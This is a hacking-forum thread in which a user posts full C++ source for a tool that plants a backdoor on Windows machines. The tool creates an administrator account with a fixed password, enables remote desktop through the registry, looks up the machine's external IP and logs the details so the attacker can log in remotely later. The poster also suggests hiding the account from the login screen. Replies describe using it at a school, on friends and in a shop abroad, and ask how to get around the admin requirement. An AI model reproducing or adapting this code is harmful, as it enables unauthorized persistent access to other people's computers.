

Forum:[Hack Forums](#)

Thread: [Win in 60 seconds \[Gain full admin remote access on windows easily \]](#)

Dreamwalker - April 25, 2014, 1:26 pm

[Video: <https://www.youtube.com/watch?v=faJXyu68Gmo>]

Win in 60 seconds!

This is a simple tool that, when run in elevated mode, creates an user, adds that user to the Administrator group, enables RDP and also get's the external IP of the machine. It does all that within 60 seconds (generally around 15 seconds). The idea is, when you have a short amount of access on a machine, say on the network, and want to quickly gain back door remote access, this tool does it all for you. You could, for instance, plug a USB with this tool on it, run the software, pop it back out again and walk away, it will save all the results for you on that directory. Then go home, read the results, remotely access the machine using the WAN IP stored in the file, login with your new admin account and have full remote administrative access, all from within that tool that takes seconds to run. So please take a look and you'll see how this can be handy. Yes you can makes scripts to do this, but it's smooth, quick and reliable.

[DOWNLOAD](#)

Source:

```
Code #include <windows.h>
#include <wininet.h>
#include <iostream>
#include <conio.h>
#include <string>
#include <fstream>

#pragma comment(lib, "wininet")

std::string result = "";

//Pipe for streaming data
std::string exec(char* cmd) {
    FILE* _pipe = _popen(cmd, "r");
    if (!_pipe) return "ERROR";
    char buffer[128];
    while(!feof(_pipe)) {
        if(fgets(buffer, 128, _pipe) != NULL)

            result += buffer;
    }
    _pclose(_pipe);
    return result;
}
```

```

void getwan()
{
//GET WAN IP
HINTERNET hInternet, hFile;
DWORD rSize;
char buffer2[100];

hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
hFile = InternetOpenUrl(hInternet, "http://www.whatsmyip.us/showipsimple.php", NULL, 0,
INTERNET_FLAG_RELOAD, 0);
InternetReadFile(hFile, &buffer2, sizeof(buffer2), &rSize);
buffer2[rSize] = '\0';

InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);

result+="Targets WAN Ip address = " ;
result+=buffer2;
result+="\n";

}

int main()
{
result+="Log for Win in 60 seconds by Dreamwalker\n";
result+="\thttp://Dream-walker.weebly.com\n";
result+="=====\n\n";

std::cout<<"Win in 60 seconds, by Dreamwalker\n"<<std::endl;

//get external IP
std::cout<<"Getting machines external IP...."<<std::endl;
getwan();

//-----Execute commands-----

//CREATE NEW USER ACCOUNT
std::cout<<"Creating user...."<<std::endl;
exec("net user support password$C /add");
result+="IF SUCESSFUL, admin account created:\nUsername = \"support\" \nPassword =
\"password$C\"\n";
//ADD USER TO ADMIN GROUP
std::cout<<"Adding to Administrators group...."<<std::endl;
exec("net localgroup administrators support /add");
//ENABLE REMOTE DESKTOP
std::cout<<"Enabling remote desktop..."<<std::endl;
exec("reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal
Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f");
result+="Targets remote desktop should now be enabled\n";

result+="WARNING: I suggest editing the registry and hiding the user from the welcome login
screen!\n";

```

```

//write file
std::ofstream writer("log.txt",std::ios::app);

if(!writer)
{
    std::cout<<"Error writing file!"<<std::endl;
    Sleep(5000);
    return -1;
}

writer<<result<<std::endl;
writer.close();

std::cout<<"FINISHED, there is a \"log.txt\" file saved in this directory"<<std::endl;
char tmp;
std::cin>>tmp;

return 0;
}
Enjoy!

```

noname1012 - April 25, 2014, 1:29 pm

you realize instead of buying your tool you can do this in batch right? its not that hard.

coolerfarmer - April 25, 2014, 1:29 pm

Haha, kidding? This easily ca be done with a batch file!

Dreamwalker - April 25, 2014, 1:42 pm

I don't deny it, but it's still a handy reliable application and something I've found useful.

ChivoZD - April 25, 2014, 1:49 pm

It's not that hard to put it in a bat, i can do it in 10 minutes.

Dreamwalker - April 25, 2014, 1:56 pm

To quote the OP Quote:Yes you can makes scripts to do this, but it's smooth, quick and reliable.

I know that already, it doesn't mean it has to be a bat script.

Dream™ - April 25, 2014, 3:30 pm

Virus apparently so be aware Open in sandBox only, cause all my AV's detected it

Dreamwalker - April 25, 2014, 3:38 pm

(Apr 25, 2014 03:30 PM)DepzMan Wrote: [\[CITE\]](#) Virus apparently so be aware Open in sandBox only, cause all my AV's detected it

No, it's not, it probably detected that due to account and registry modding... I'm happy to show the source.

I'd also like to point out that, I did a deep file scan with Avast and nothing, also <https://www.virustotal.com/en/file/16d90d9b8240d1f28a741f3919d2a79625c14156f4e3591bffc005590fb62f55/analysis/1398466105/> and nothing. If anything could be detected, it's simply a file analysis on run time behavior, because it's not malware.

Anyway, just to prove another point, I've included the source now in the OP, if you're that paranoid

compile it yourself :)

Blaster Worm V3 - April 26, 2014, 2:23 am

It's not that hard to put it in a bat, i can do it in 10 minutes.

Tajmonekus - April 26, 2014, 5:38 am

I could do it myself but fuck it, I'm too lazy :) Thanks for the tool, it's quite useful

Dreamwalker - April 26, 2014, 10:44 am

(Apr 26, 2014 05:38 AM)Tajmonekus Wrote: [\[CITE\]](#) I could do it myself but fuck it, I'm too lazy :) Thanks for the tool, it's quite useful

No probs, and glad to see someone who see's sense. I don't claim you can't script it with relative ease and mentioned that in the OP, but it is reliable, quick and sturdy, free and open source. So I don't know why people are moaning, if they want to script it themselves then they can - if not, they can use this if they want, simple.

stefantatoiu - April 26, 2014, 2:02 pm

thanks for your tool

.....

.....

Rapierz - April 26, 2014, 4:44 pm

Lol, he is just sharing and everyone says 'i can do it myself'

Nice tool op, can be handy :)

marmalade57 - April 27, 2014, 1:37 pm

Thanks matey....why all these knobs need to slag u i dont know!!! whats the harm in sharing to those who dont code

Diidinee - April 27, 2014, 2:13 pm

thanks for your tool

.....

.....

Oromier - April 27, 2014, 5:21 pm

question, Can i use this on a normal Windows Account, or do i need to be logged in as an admin?

ChivoZD - April 27, 2014, 7:05 pm

(Apr 26, 2014 02:23 AM)Blaster Worm V3 Wrote: [\[CITE\]](#) It's not that hard to put it in a bat, i can do it in 10 minutes. Why are you copying my post? Are you that post hungry? Anyway this will help ppl out, like new ppl...

Dreamwalker - April 28, 2014, 3:39 am

(Apr 27, 2014 05:21 PM)Oromier Wrote: [\[CITE\]](#) question, Can i use this on a normal Windows Account, or do i need to be logged in as an admin?

You can only run it in admin escalated mode.

Shiroe - April 28, 2014, 4:28 am

Meh waste of my money you could of got less hate by just posting the .bat script

But most people already know how to do this so what's the point

Dreamwalker - April 28, 2014, 4:39 am

(Apr 28, 2014 04:28 AM)HydroGaming Wrote: [\[CITE\]](#) Meh waste of my money you could of got less

hate by just posting the .bat script

But most people already know how to do this so what's the point

Waste of money? it's free and open source - so that's a complete fail.

And I actually don't think most people know how to do it, "saying" they can do something, and actually "doing" it are two completely different things, that's probably why the tool has had hundreds of downloads. And even if they do know how to make it, so what? A) it doesn't have to be a bat script and B) What about the people who really don't know how to make it? it could really help them. But given you bad rep and the fact you clearly didn't even read the OP proves your comment is mostly pointless.

Grimzyy - April 28, 2014, 9:15 am

This doesn't work for me? can't connect to the ip it gives me, I'm using BTR5 to connect.. help plox?

Dreamwalker - April 28, 2014, 9:23 am

(Apr 28, 2014 09:15 AM)Blackness Wrote: [\[CITE\]](#) This doesn't work for me? can't connect to the ip it gives me, I'm using BTR5 to connect.. help plox?

You mean, you ran the tool on a windows box, now you're trying to connect to it using backtrack?

Print the screen shot.

Batman™ - April 30, 2014, 1:25 pm

Tried this tool at my school with a friend of mine. Does not work. I can't even believe i thought it would work. Any way's, nice tool. I could use this somewhere else other than school.

Dreamwalker - May 1, 2014, 2:12 am

(Apr 30, 2014 01:25 PM)iTzSketchy Wrote: [\[CITE\]](#) Tried this tool at my school with a friend of mine. Does not work. I can't even believe i thought it would work. Any way's, nice tool. I could use this somewhere else other than school.

It does work, I've tried it on multiple networks.

A) The logged on user must have admin privileges as it needs to run in escalated mode

B) The computer must have internet access to get the WAN IP address

If those elements are in place, it will work. And I've had other people try it who confirm this.

DaCreeperReaper - May 1, 2014, 12:17 pm

This should come in handy. XD Can't wait to try it out on some friends. Hehe.

KuyperDael - May 1, 2014, 1:14 pm

Can anyone verify that this tool actually works? Anyone tried it on Novell session?

Is it possible to 'log in' using another method than Backtrack?

Stappful - May 1, 2014, 2:08 pm

My right ear is enjoying the video. I need to type more stuff to defeat char limit :)

Dreamwalker - May 1, 2014, 2:41 pm

(May 1, 2014 01:14 PM)KuyperDael Wrote: [\[CITE\]](#) Can anyone verify that this tool actually works? Anyone tried it on Novell session?

Is it possible to 'log in' using another method than Backtrack?

Yes it works, you can see that in the source and video - also you just need to RDP into it, most OS's support remote desktop.

Oromier - May 5, 2014, 11:47 am

(Apr 28, 2014 03:39 AM)Dreamwalker Wrote: [\[CITE\]](#) You can only run it in admin escalated mode. hmm, is there a way to make it Run in Guest account or some restricted account? maybe i will look at the code and try to do it.. posting updates if i succeed.

LKIRA2001 - May 5, 2014, 12:11 pm

sorry what am I mean to do after I have the WAN IP to get remote access to the PC?

Dreamwalker - May 5, 2014, 12:30 pm

(May 5, 2014 11:47 AM)Oromier Wrote: [\[CITE\]](#) hmm, is there a way to make it Run in Guest account or some restricted account? maybe i will look at the code and try to do it.. posting updates if i succeed.

It won't work do to it needing to be run in escalated mode.

(May 5, 2014 12:11 PM)LKIRA2001 Wrote: [\[CITE\]](#) sorry what am I mean to do after I have the WAN IP to get remote access to the PC?

Remotely access the computer ?

LKIRA2001 - May 5, 2014, 3:56 pm

Sorry I'm new to this, I tired searching it up and I didn't quite understand, how do you remotely access the computer?

FlowTechnology - May 5, 2014, 8:40 pm

Thanks for the tool, I used this in a webshop in The Bahamas :P

Dreamwalker - May 6, 2014, 12:26 am

(May 5, 2014 08:40 PM)FlowTechnology Wrote: [\[CITE\]](#) Thanks for the tool, I used this in a webshop in The Bahamas :P

Sounds good, did it all work well for you?